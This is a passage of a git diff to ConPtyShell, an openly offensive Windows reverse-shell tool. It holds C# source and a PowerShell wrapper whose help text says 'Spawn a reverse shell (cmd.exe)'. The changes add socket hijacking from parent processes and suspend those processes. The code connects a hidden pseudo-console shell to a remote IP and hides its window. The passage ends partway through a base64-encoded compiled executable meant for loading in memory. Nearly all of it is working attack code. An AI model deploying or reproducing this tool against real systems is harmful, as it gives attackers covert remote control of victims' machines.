Encoding.ASCII.GetString(received,0,bytesReceived); string rowsString = sizeReceived.Split(' ')[0].Trim(); string colsString = sizeReceived.Split(' ')[1].Trim(); @@ -283,6 +801,9 @@ public static class ConPtyShell cols=(uint)colsTemp; } } + catch{ + return; + } } private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){ @@ -291,9 +812,9 @@ public static class ConPtyShell pSec.bInheritHandle=1; pSec.lpSecurityDescriptor=IntPtr.Zero; if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) - throw new InvalidOperationException("Could not create the InputPipe"); + throw new ConPtyShellException("Could not create the InputPipe"); if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) - throw new InvalidOperationException("Could not create the OutputPipe"); + throw new ConPtyShellException("Could not create the OutputPipe"); } private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){ @@ -319,12 +840,12 @@ public static class ConPtyShell IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); if (!GetConsoleMode(hStdOut, out outConsoleMode)) { - throw new InvalidOperationException("Could not get console mode"); + throw new ConPtyShellException("Could not get console mode"); } outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; if (!SetConsoleMode(hStdOut, outConsoleMode)) { - throw new InvalidOperationException("Could not enable virtual terminal processing"); + throw new ConPtyShellException("Could not enable virtual terminal processing"); } } @@ -344,7 +865,7 @@ public static class ConPtyShell bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); if (success || lpSize == IntPtr.Zero) { - throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); } STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); @@ -352,12 +873,12 @@ public static class ConPtyShell success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); if (!success) { - throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); } success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero); if (!success) { - throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); } return startupInfo; } @@ -373,7 +894,7 @@ public static class ConPtyShell bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); if (!success) { - throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); } return pInfo; } @@ -388,19 +909,19 @@ public static class ConPtyShell { object[] threadParameters = (object[]) threadParams; IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; - Socket shellSocket = (Socket)threadParameters[1]; - uint bufferSize=16*1024; - byte[] bytesToWrite = new byte[bufferSize]; + IntPtr shellSocket = (IntPtr)threadParameters[1]; + int bufferSize=256; bool readSuccess = false; Int32 bytesSent = 0; uint dwBytesRead=0; do{ - readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero); - bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0); + byte[] bytesToWrite = new byte[bufferSize]; + readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); + bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0); } while (bytesSent > 0 && readSuccess); } - private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){ + private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){ object[] threadParameters = new object[2]; threadParameters[0]=OutputPipeRead; threadParameters[1]=shellSocket; @@ -413,21 +934,21 @@ public static class ConPtyShell { object[] threadParameters = (object[]) threadParams; IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; - Socket shellSocket = (Socket)threadParameters[1]; + IntPtr shellSocket = (IntPtr)threadParameters[1]; IntPtr hChildProcess = (IntPtr)threadParameters[2]; - uint bufferSize=16*1024; - byte[] bytesReceived = new byte[bufferSize]; + int bufferSize=256; bool writeSuccess = false; Int32 nBytesReceived = 0; uint bytesWritten = 0; do{ - nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0); + byte[] bytesReceived = new byte[bufferSize]; + nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); TerminateProcess(hChildProcess, 0); } - private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){ + private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess){ object[] threadParameters = new object[3]; threadParameters[0]=InputPipeWrite; threadParameters[1]=shellSocket; @@ -437,43 +958,64 @@ public static class ConPtyShell return thReadSocketWritePipe; } - public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){ - string output = ""; - Socket shellSocket = ConnectSocket(remoteIp, remotePort); - if(shellSocket == null){ - output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); - return output; - } - TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); - IntPtr InputPipeRead = new IntPtr(0); - IntPtr InputPipeWrite = new IntPtr(0); - IntPtr OutputPipeRead = new IntPtr(0); - IntPtr OutputPipeWrite = new IntPtr(0); - IntPtr handlePseudoConsole = new IntPtr(0); - IntPtr oldStdIn = new IntPtr(0); - IntPtr oldStdOut = new IntPtr(0); - IntPtr oldStdErr = new IntPtr(0); + public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell){ + IntPtr shellSocket = IntPtr.Zero; + IntPtr InputPipeRead = IntPtr.Zero; + IntPtr InputPipeWrite = IntPtr.Zero; + IntPtr OutputPipeRead = IntPtr.Zero; + IntPtr OutputPipeWrite = IntPtr.Zero; + IntPtr handlePseudoConsole = IntPtr.Zero; + IntPtr oldStdIn = IntPtr.Zero; + IntPtr oldStdOut = IntPtr.Zero; + IntPtr oldStdErr = IntPtr.Zero; bool newConsoleAllocated = false; + bool parentSocketInherited = false; + bool grandParentSocketInherited = false; + bool conptyCompatible = false; + string output = ""; + Process currentProcess = null; + Process parentProcess = null; + Process grandParentProcess = null; + + if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) + conptyCompatible = true; + PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); - if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){ - Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); - STARTUPINFO sInfo = new STARTUPINFO(); - sInfo.cb = Marshal.SizeOf(sInfo); - sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; - sInfo.hStdInput = InputPipeRead; - sInfo.hStdOutput = OutputPipeWrite; - sInfo.hStdError = OutputPipeWrite; - CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); - } - else{ - Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n"); + + if(conptyCompatible){ + Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); + if(upgradeShell){ + currentProcess = Process.GetCurrentProcess(); + parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); + grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); + shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess); + if(shellSocket != IntPtr.Zero){ + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); + if(parentProcess != null) + parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); + } + else + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); + if(grandParentProcess != null) + grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); + } + else{ + shellSocket = connectRemote(remoteIp, remotePort); + if(shellSocket == IntPtr.Zero){ + output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); + return output; + } + TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); + } if(GetConsoleWindow() == IntPtr.Zero){ AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } + //Console.WriteLine("Creating pseudo console..."); + //return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) { @@ -482,6 +1024,26 @@ public static class ConPtyShell } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } + else{ + if(upgradeShell){ + output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); + return output; + } + shellSocket = connectRemote(remoteIp, remotePort); + if(shellSocket == IntPtr.Zero){ + output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); + return output; + } + Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); + STARTUPINFO sInfo = new STARTUPINFO(); + sInfo.cb = Marshal.SizeOf(sInfo); + sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; + sInfo.hStdInput = InputPipeRead; + sInfo.hStdOutput = OutputPipeWrite; + sInfo.hStdError = OutputPipeWrite; + CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); + } + // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. @@ -490,12 +1052,15 @@ public static class ConPtyShell //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); + if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle); + if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything + if(upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle); + if(upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); - shellSocket.Shutdown(SocketShutdown.Both); - shellSocket.Close(); + closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); if(newConsoleAllocated) FreeConsole(); @@ -510,8 +1075,7 @@ public static class ConPtyShell } public static class ConPtyShellMainClass{ - private static string help = @" -"; + private static string help = @""; private static bool HelpRequired(string param) { @@ -520,11 +1084,8 @@ public static class ConPtyShellMainClass{ private static void CheckArgs(string[] arguments) { - if(arguments.Length < 2){ - Console.Out.Write("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); - System.Environment.Exit(0); - } - + if(arguments.Length < 2) + throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); } private static void DisplayHelp() @@ -535,20 +1096,14 @@ public static class ConPtyShellMainClass{ private static string CheckRemoteIpArg(string ipString){ IPAddress address; if (!IPAddress.TryParse(ipString, out address)) - { - Console.Out.Write("\r\nConPtyShell: Invalid remoteIp value {0}\r\n", ipString); - System.Environment.Exit(0); - } + throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); return ipString; } private static int CheckInt(string arg){ int ret = 0; if (!Int32.TryParse(arg, out ret)) - { - Console.Out.Write("\r\nConPtyShell: Invalid integer value {0}\r\n", arg); - System.Environment.Exit(0); - } + throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); return ret; } @@ -582,12 +1137,19 @@ public static class ConPtyShellMainClass{ else { CheckArgs(args); - string remoteIp = CheckRemoteIpArg(args[0]); - int remotePort = CheckInt(args[1]); + string remoteIp = ""; + int remotePort = 0; + bool upgradeShell = false; + if(args[0].Contains("upgrade")) + upgradeShell = true; + else{ + remoteIp = CheckRemoteIpArg(args[0]); + remotePort = CheckInt(args[1]); + } uint rows = ParseRows(args); uint cols = ParseCols(args); string commandLine = ParseCommandLine(args); - output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine); + output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; } @@ -600,4 +1162,5 @@ class MainClass{ Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); } } + "@; \ No newline at end of file diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1 index b1b3444..1ac7d8c 100644 --- a/Invoke-ConPtyShell2.ps1 +++ b/Invoke-ConPtyShell2.ps1 @@ -1,5 +1,3 @@ -#Requires -Version 2 - function Invoke-ConPtyShell2 { <# @@ -61,15 +59,22 @@ function Invoke-ConPtyShell2 Description ----------- Spawn a reverse shell (cmd.exe) with specific rows and cols size + + .EXAMPLE + PS>Invoke-ConPtyShell2 -Upgrade -Rows 30 -Cols 90 + + Description + ----------- + Upgrade your current shell with specific rows and cols size #> - Param + Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0)] [String] $RemoteIp, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1)] [String] $RemotePort, @@ -83,10 +88,30 @@ function Invoke-ConPtyShell2 [Parameter()] [String] - $CommandLine = "powershell.exe" + $CommandLine = "powershell.exe", + + [Parameter()] + [Switch] + $Upgrade ) + + if( $PSBoundParameters.ContainsKey('Upgrade') ) { + $RemoteIp = "upgrade" + $RemotePort = "shell" + } + else{ + + if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) { + throw "RemoteIp missing parameter" + } + + if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) { + throw "RemotePort missing parameter" + } + } + $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) - $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN+NbV4AAAAAAAAAAOAAAgELAQgAAEAAAAAgAAAAAAAADl0AAAAgAAAAYAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAACgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALhcAABTAAAAAGAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAFD0AAAAgAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAYAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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